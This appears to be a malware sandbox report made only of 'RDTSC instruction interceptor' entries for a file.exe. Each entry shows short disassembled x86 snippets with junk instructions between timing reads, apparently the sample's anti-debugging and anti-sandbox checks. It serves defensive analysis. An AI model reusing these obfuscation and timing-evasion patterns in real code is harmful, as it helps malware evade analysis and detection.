Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335AD5 second address: 1335AE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344EBD second address: 1344ED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jbe 00007F31753CFFC6h 0x0000000c jns 00007F31753CFFC6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13452AF second address: 13452BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F3174D23606h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1345415 second address: 1345419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1345546 second address: 134554C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134554C second address: 1345551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1345551 second address: 134555B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F3174D23606h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134555B second address: 1345590 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F31753CFFCAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F31753CFFD6h 0x00000015 push eax 0x00000016 push edx 0x00000017 push edi 0x00000018 pop edi 0x00000019 jc 00007F31753CFFC6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349D8A second address: 1349D8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349D8E second address: 1349D92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1349E44 second address: 1349E49 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000539 second address: 500053D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500053D second address: 5000543 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000543 second address: 5000549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000549 second address: 500054D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500054D second address: 500057F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F31753CFFD4h 0x00000010 and ch, 00000048h 0x00000013 jmp 00007F31753CFFCBh 0x00000018 popfd 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50005C6 second address: 5000647 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3174D2360Fh 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F3174D23619h 0x0000000f or ah, FFFFFFD6h 0x00000012 jmp 00007F3174D23611h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007F3174D23611h 0x00000021 xchg eax, ebp 0x00000022 jmp 00007F3174D2360Eh 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F3174D23617h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000647 second address: 500064D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500064D second address: 500065E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126DB65 second address: 126DB69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126DB69 second address: 126DB76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126DB76 second address: 126DB7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000CF6 second address: 5000CFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000CFA second address: 5000D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000D00 second address: 5000D4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D2360Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F3174D23610h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov ax, 952Dh 0x00000016 mov ch, 57h 0x00000018 popad 0x00000019 push dword ptr [ebp+04h] 0x0000001c jmp 00007F3174D23615h 0x00000021 push dword ptr [ebp+0Ch] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000D4C second address: 5000D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000D50 second address: 5000D56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000D56 second address: 5000D5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000D5C second address: 5000D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000D60 second address: 5000D64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000D64 second address: 5000D80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3174D2360Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000DC1 second address: 5000DC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000DC5 second address: 5000DCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000DCB second address: 5000CF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFCEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c nop 0x0000000d mov dword ptr [010A70C0h], eax 0x00000012 push 00DF1310h 0x00000017 mov ecx, dword ptr [010A70A8h] 0x0000001d push ecx 0x0000001e call 00007F31795F6B7Ah 0x00000023 mov edi, edi 0x00000025 pushad 0x00000026 movzx esi, di 0x00000029 pushfd 0x0000002a jmp 00007F31753CFFD3h 0x0000002f adc ah, FFFFFFDEh 0x00000032 jmp 00007F31753CFFD9h 0x00000037 popfd 0x00000038 popad 0x00000039 xchg eax, ebp 0x0000003a pushad 0x0000003b mov ebx, esi 0x0000003d jmp 00007F31753CFFD8h 0x00000042 popad 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F31753CFFCDh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020035 second address: 502003B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502003B second address: 5020041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020041 second address: 5020092 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23616h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3174D2360Eh 0x00000013 and ah, 00000048h 0x00000016 jmp 00007F3174D2360Bh 0x0000001b popfd 0x0000001c mov edx, esi 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F3174D2360Ch 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020092 second address: 50200A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50200A1 second address: 50200B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3174D23614h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50200B9 second address: 50200BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50200BD second address: 5020151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov esi, 3B9FE7D9h 0x0000000f pushad 0x00000010 movzx ecx, bx 0x00000013 pushfd 0x00000014 jmp 00007F3174D23611h 0x00000019 adc ecx, 285F1D26h 0x0000001f jmp 00007F3174D23611h 0x00000024 popfd 0x00000025 popad 0x00000026 popad 0x00000027 mov dword ptr [esp], ecx 0x0000002a pushad 0x0000002b mov al, 68h 0x0000002d pushfd 0x0000002e jmp 00007F3174D23619h 0x00000033 sub ecx, 65993D36h 0x00000039 jmp 00007F3174D23611h 0x0000003e popfd 0x0000003f popad 0x00000040 xchg eax, ecx 0x00000041 jmp 00007F3174D2360Eh 0x00000046 push eax 0x00000047 pushad 0x00000048 movsx edi, ax 0x0000004b popad 0x0000004c xchg eax, ecx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020151 second address: 5020162 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020162 second address: 5020189 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23611h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3174D2360Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020189 second address: 50201A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 9Ch 0x00000005 mov dx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push edx 0x00000012 pop ecx 0x00000013 mov di, B5DEh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50201A1 second address: 50201DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23614h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F3174D23610h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3174D2360Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50201DB second address: 50201F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 0F1981B4h 0x00000008 mov bl, 05h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 call 00007F31753CFFCCh 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020235 second address: 502023C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50202C7 second address: 5020310 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F31753CFFCEh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F31753CFFD7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020310 second address: 5020316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020316 second address: 502031A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502031A second address: 502031E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502031E second address: 5020387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F31753CFFCDh 0x00000011 sub si, 3326h 0x00000016 jmp 00007F31753CFFD1h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F31753CFFD0h 0x00000022 and ecx, 75D4E4C8h 0x00000028 jmp 00007F31753CFFCBh 0x0000002d popfd 0x0000002e popad 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 call 00007F31753CFFCBh 0x00000039 pop ecx 0x0000003a movsx ebx, ax 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020387 second address: 50203CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, CDD4h 0x00000007 pushfd 0x00000008 jmp 00007F3174D2360Dh 0x0000000d jmp 00007F3174D2360Bh 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push dword ptr [ebp+1Ch] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov bx, DF46h 0x00000020 jmp 00007F3174D23617h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50203CD second address: 50203D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50203D3 second address: 50203D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50203D7 second address: 502043B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+18h] 0x0000000b jmp 00007F31753CFFD7h 0x00000010 push dword ptr [ebp+14h] 0x00000013 pushad 0x00000014 mov cx, 60EBh 0x00000018 pushfd 0x00000019 jmp 00007F31753CFFD0h 0x0000001e jmp 00007F31753CFFD5h 0x00000023 popfd 0x00000024 popad 0x00000025 push dword ptr [ebp+10h] 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F31753CFFCDh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502043B second address: 5020459 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23611h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020459 second address: 502045D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502045D second address: 5020463 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020463 second address: 5020482 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020482 second address: 5020486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020486 second address: 502048C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502048C second address: 5020492 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020492 second address: 5020496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020496 second address: 502049A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000700 second address: 5000714 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F31753CFFD0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000714 second address: 5000718 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000718 second address: 5000758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F31753CFFCAh 0x00000010 or si, C2C8h 0x00000015 jmp 00007F31753CFFCBh 0x0000001a popfd 0x0000001b mov eax, 3FEB503Fh 0x00000020 popad 0x00000021 mov dword ptr [esp], ebp 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 call 00007F31753CFFCDh 0x0000002c pop ecx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50007B4 second address: 5000814 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D2360Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 702E170Bh 0x00000010 jmp 00007F3174D23616h 0x00000015 call 00007F31E5646E18h 0x0000001a push 759227D0h 0x0000001f push dword ptr fs:[00000000h] 0x00000026 mov eax, dword ptr [esp+10h] 0x0000002a mov dword ptr [esp+10h], ebp 0x0000002e lea ebp, dword ptr [esp+10h] 0x00000032 sub esp, eax 0x00000034 push ebx 0x00000035 push esi 0x00000036 push edi 0x00000037 mov eax, dword ptr [759B0140h] 0x0000003c xor dword ptr [ebp-04h], eax 0x0000003f xor eax, ebp 0x00000041 push eax 0x00000042 mov dword ptr [ebp-18h], esp 0x00000045 push dword ptr [ebp-08h] 0x00000048 mov eax, dword ptr [ebp-04h] 0x0000004b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000052 mov dword ptr [ebp-08h], eax 0x00000055 lea eax, dword ptr [ebp-10h] 0x00000058 mov dword ptr fs:[00000000h], eax 0x0000005e ret 0x0000005f jmp 00007F3174D23610h 0x00000064 and dword ptr [ebp-04h], 00000000h 0x00000068 jmp 00007F3174D23610h 0x0000006d mov edx, dword ptr [ebp+0Ch] 0x00000070 push eax 0x00000071 push edx 0x00000072 pushad 0x00000073 pushad 0x00000074 popad 0x00000075 mov dh, D3h 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000814 second address: 500084D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b jmp 00007F31753CFFCEh 0x00000010 mov al, byte ptr [edx] 0x00000012 pushad 0x00000013 movzx eax, dx 0x00000016 mov bh, 39h 0x00000018 popad 0x00000019 inc edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500084D second address: 5000853 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000853 second address: 5000859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000859 second address: 5000878 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3174D23613h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000878 second address: 500087E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500087E second address: 5000882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000882 second address: 5000886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000886 second address: 500084D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F3174D235AFh 0x0000000e mov al, byte ptr [edx] 0x00000010 pushad 0x00000011 movzx eax, dx 0x00000014 mov bh, 39h 0x00000016 popad 0x00000017 inc edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50008A0 second address: 50008A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50008A6 second address: 50008AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50008AA second address: 50008F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub edx, esi 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 mov dx, 08CCh 0x00000015 popad 0x00000016 jmp 00007F31753CFFD5h 0x0000001b popad 0x0000001c mov edi, dword ptr [ebp+08h] 0x0000001f jmp 00007F31753CFFCEh 0x00000024 dec edi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50008F6 second address: 50008FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50008FA second address: 5000917 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000917 second address: 5000927 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3174D2360Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000927 second address: 500092B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
